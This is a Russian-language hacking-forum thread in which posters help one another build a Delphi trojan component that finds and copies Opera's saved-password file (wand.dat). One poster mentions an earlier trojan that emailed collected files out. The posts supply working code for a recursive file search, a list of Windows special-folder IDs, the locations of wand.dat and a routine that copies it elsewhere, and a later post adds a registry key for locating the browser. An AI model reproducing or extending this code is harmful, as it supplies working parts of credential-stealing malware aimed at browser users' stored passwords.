Эм, когда-то в самом первом троянце использовал такую систему. Там он находил такие файлы, склеивал их в один, потом отправлял на мыло. Дальше с помощью специальной утилиты распаковывался, причем учитывалось что с одинаковым названием могут быть несколько файлов. Но способ немного муторный, хотя если заинтересует - поделюсь кодом, хотя там функции с инета были взяты.
зная имя и расширение кстати это файл паролей оперы wand.dat как его найти?
Функция была взята с инета, немного подкорректирована:
Code
{Процедура ищет файлы по маске (*.*) и записывает результаты поиска в файл. Входящие параметры:
path - в какой папке искать будем, можно задать и только имя диска, но поиск будет дольше
mask - маска искомого(искомых) файла, например *.txt, *.doc, *.*
DestinationFile - в какой файл сохранять результат}
procedure FindCookiesOpera(const path: string; const mask: string; const DestinationFile: string);
var
fullpath: string;
function recurse(var path: string; const mask: string; const DestinationFile: string): boolean;
var
srec: tsearchrec;
retval: integer;
oldlen: integer;
begin
recurse:= true;
oldlen:= length(path);
retval:= findfirst(path+mask, faanyfile, srec);
while retval = 0 do
begin
if (srec.attr and (fadirectory or favolumeid)) = 0 then
SaveToFile(path+srec.name, DestinationFile);
retval := findnext(srec);
end;
findclose(srec);
if not result then exit;
retval := findfirst(path+'*.*', fadirectory, srec);
while retval = 0 do
begin
if (srec.attr and fadirectory) <> 0 then
if (srec.name <> '.') and (srec.name <> '..') then
begin
path := path + srec.name + '\';
if not recurse(path, mask, DestinationFile) then
begin
result := false;
break;
end;
delete(path, oldlen+1, 255);
end;
retval := findnext(srec);
end;
findclose(srec);
end;
begin
if path = '' then
getdir(0, fullpath)
else
fullpath := path;
if fullpath[length(fullpath)] <> '\' then
fullpath := fullpath + '\';
if mask = '' then
recurse(fullpath, '*.*', DestinationFile)
else
recurse(fullpath, mask, DestinationFile);
end;
Из непоняток будет что такое процедура SaveToFile? Обычное сохранение в лог, впрочем не суть важно куда результат девать. Вот и вторая непонятка:
Code
{Функция определяет пути системных папок. Входящий параметр - id этой папки.}
function GetSpecialPath(CSIDL: word): string;
var
s: string;
begin
SetLength(s, MAX_PATH);
if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, true) then
s := GetSpecialPath(CSIDL_APPDATA);
result := PChar(s);
end;
Вот и список id папок:
// Следующие идентификаторы имеются в модуле ShlObj:
CSIDL_DESKTOP = $0000;
// Виртуальный каталог, представляющий Рабочий стол. (Корень в проводнике)
CSIDL_INTERNET = $0001;
// Виртуальный каталог для Internet Explorer.
CSIDL_PROGRAMS = $0002;
// Меню Пуск -> Программы
CSIDL_CONTROLS = $0003;
// Виртуальный каталог, содержащий иконки пунктов панели управления
CSIDL_PRINTERS = $0004;
// Виртуальный каталог, содержащий установленные принтеры
CSIDL_PERSONAL = $0005;
// Виртуальный каталог, представляющий папку "Мои документы"
// До Vista ссылался на какталог "Мои документы" на жёстком диске
CSIDL_FAVORITES = $0006;
// Избранное. (обычно C:\Documents and Settings\username\Favorites)
CSIDL_STARTUP = $0007;
// Пуск -> Программы -> Автозагрузка
CSIDL_RECENT = $0008;
// Недавние документы (обычно C:\Documents and Settings\username\My Recent Documents
// Для добавления ссылки документа используйте SHAddToRecentDocs
CSIDL_SENDTO = $0009;
// Папка, содержащая ярлыки меню "Отправить" (Sent to...) (обычно C:\Documents and Settings\username\SendTo)
CSIDL_BITBUCKET = $000a;
// Виртуальный каталог, содержащий файлы в корзине текущего пользователя
CSIDL_STARTMENU = $000b;
// Элементы меню Пуск текущего пользователя (обычно C:\Documents and Settings\username\Start Menu)
CSIDL_DESKTOPDIRECTORY = $0010;
// Рабочий стол текущего пользователя (обычно C:\Documents and Settings\username\Desktop)
CSIDL_DRIVES = $0011;
// Виртуальный каталог, представляющий папку "Мой компьютер"
CSIDL_NETWORK = $0012;
// Виртуальный каталог, представляющий "Сетевое окружение"
CSIDL_NETHOOD = $0013;
// Папка "My Nethood Places" (обычно C:\Documents and Settings\username\NetHood)
// В неё ссылки на избранные расшаренные ресурсы
CSIDL_FONTS = $0014;
// Папка, содержащая установленные шрифты. (обычно C:\Windows\Fonts)
CSIDL_TEMPLATES = $0015;
// Шаблоны документов. (Обычно Settings\username\Templates)
CSIDL_COMMON_STARTMENU = $0016;
// Элементы меню Пуск для всех пользователей. (обычно C:\Documents and Settings\All Users\Start Menu)
// Константы, начинающиеся на CSIDL_COMMON_ существуют только в NT версиях
CSIDL_COMMON_PROGRAMS = $0017;
// Меню Пуск -> программы для всех пользователей (обычно C:\Documents and Settings\All Users\Start Menu\Programs)
CSIDL_COMMON_STARTUP = $0018;
// Меню Пуск -> Программы -> Автозагрузка для всех пользователей (обычно C:\Documents and Settings\All Users\Start Menu\Programs\Startup)
CSIDL_COMMON_DESKTOPDIRECTORY = $0019;
// Элементы Рабочего стола для всех пользователей (обычно C:\Documents and Settings\All Users\Desktop)
CSIDL_APPDATA = $001a;
// Папка, в которой рограммы должны хранить свои данные(C:\Documents and Settings\username\Application Data)
CSIDL_PRINTHOOD = $001b;
// Установленные принтеры. (обычно C:\Documents and Settings\username\PrintHood)
CSIDL_ALTSTARTUP = $001d; // DBCS
// user's nonlocalized Startup program group. Устарело.
CSIDL_COMMON_ALTSTARTUP = $001e; // DBCS
// Устарело
CSIDL_COMMON_FAVORITES = $001f;
// Ссылки "Избранное" для всех пользователей
CSIDL_INTERNET_CACHE = $0020;
// Временные Internet файлы (обычно C:\Documents and Settings\username\Local Settings\Temporary Internet Files)
CSIDL_COOKIES = $0021;
// Папка для хранения Cookies (обычно C:\Documents and Settings\username\Cookies)
CSIDL_HISTORY = $0022;
// Хранит ссылки интернет истории IE
}
// Следующих идентификаторов нет в ShlObj:
CSIDL_ADMINTOOLS = $30;
// Административные инструменты текущего пользователя (например консоль MMC). Win2000+
CSIDL_CDBURN_AREA = $3b;
// Папка для файлов, подготовленных к записи на CD/DVD
// (Обычно C:\Documents and Settings\username\Local Settings\Application Data\Microsoft\CD Burning)
CSIDL_COMMON_TEMPLATES = $2d;
// Папка шаблонов документов для всех пользователей (Обычно C:\Documents and Settings\All Users\Templates)
CSIDL_COMMON_MUSIC = $35;
// Папка "Моя музыка" для всех пользователей. (обычно C:\Documents and Settings\All Users\Documents\My Music)
CSIDL_COMMON_PICTURES = $36;
// Папка "Мои рисунки" для всех пользователей. (обычно C:\Documents and Settings\All Users\Documents\My Pictures)
CSIDL_COMMON_VIDEO = $37;
// Папка "Моё видео" для всех пользователей (C:\Documents and Settings\All Users\Documents\My Videos)
CSIDL_COMPUTERSNEARME = $3d;
// Виртуальная папка, представляет список компьютеров в вашей рабочей группе
CSIDL_CONNECTIONS = $31;
// Виртуальная папка, представляет список сетевых подключений
CSIDL_LOCAL_APPDATA = $1c;
// AppData для приложений, которые не переносятся на другой компьютер (обычно C:\Documents and Settings\username\Local Settings\Application Data)
Пароли от опреры хронатся в:
X:\Documents and Settings\Home\Application Data\Opera\Opera\profile
или бывает у некоторых ещё
X:\Program Files\Opera\profile\wand.dat
В других местах искать нет смысла.
Вот код:
Code
function GetDOSEnvVar(const VarName: string): string;
var
i: integer;
begin
Result := '';
try
i := GetEnvironmentVariable(PChar(VarName), nil, 0);
if i > 0 then
begin
SetLength(Result, i);
GetEnvironmentVariable(Pchar(VarName), PChar(Result), i);
end;
except
Result := '';
end;
end;
function GetLatter:String;
Var
C:array[0..255] of char;
S:string;
begin
GetWindowsDirectory(C,255);
S:=String(C);
Result:=Copy(S,1,3);
end;
procedure TForm1.Button1Click(Sender: TObject);
Var
S,path,output:String;
begin
path:=GetDOSEnvVar('APPDATA');
S:=GetLatter+'Program Files\Opera\profile\wand.dat';
output:='D:\wand.dat';
delete(path,Length(path),1);
path:=path+'\Opera\Opera\profile\wand.dat';
if FileExists(path) then
CopyFile(PANSIChar(path),PANSIChar(output), false) else
if FileExists(S) then
CopyFile(PANSIChar(S), PANSIChar(output), false) else
end;
Сообщение отредактировал Neo - Суббота, 21.07.2012, 15:34
Дата: Воскресенье, 22.07.2012, 18:31 | Сообщение # 11
Постоянный
Группа: Проверенные
Сообщений: 281
Статус: Offline
toly19 возьми за основу функцию поиска по заданному параметру "Opera\profile\wand.dat", тем более что если тебе нужно конкретно из Оперы, то для определения папки в которой она установлена просто проверь ключ реестра:
Code
HKEY_CLASSES_ROOT\http\shell\open\command
PS: вариантов много, для простых задач можно и так сделать, а для более сложных, например поиск обычного (ни к чему не относящегося) файла в дебрях системы зная только его имя и расширение лучше юзать предложенные функции...
Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 22.07.2012, 18:34